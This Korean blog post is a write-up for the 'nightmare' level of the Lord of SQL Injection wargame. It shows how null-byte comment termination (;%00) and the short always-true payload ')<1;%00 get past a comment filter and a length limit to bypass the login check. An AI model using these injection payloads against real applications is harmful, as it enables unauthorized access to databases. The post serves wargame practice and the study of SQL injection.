보안 공부/Load of SQL injection

[Load of SQL Injection] nightmare

sh1256 2022. 1. 30. 01:01
728x90

자세히 보면 id!='admin'입니다..!

따라서 pw값 뒤에는 모두 주석 처리를 하도록 시도해봅시다. 

'#', '-- ' 대신에 ;%00를 이용할 수 있습니다. 

 

그래서 처음엔 pw=1')||id='admin';%00를 해서, 

pw=('1')||id='admin';%00') and id!='admin'" 구문을 생각했으나..

strlen()>6에 의해서 막혀버렸습니다.

 

 

 

다음으로 생각해 낸 것이 바로 pw=('')<1 입니다. 

pw=''<1pw=''or'1'='1'과 같이 무조건 참이 되는 식 입니다. 

 

따라서, 

pw=('')<1;%00') and id!='admin'"

pw=('')<1;%00') and id!='admin'"

 

이 되서 문제가 풀리게 됩니다. 

URL + ?pw=')<1;%00

 

성공!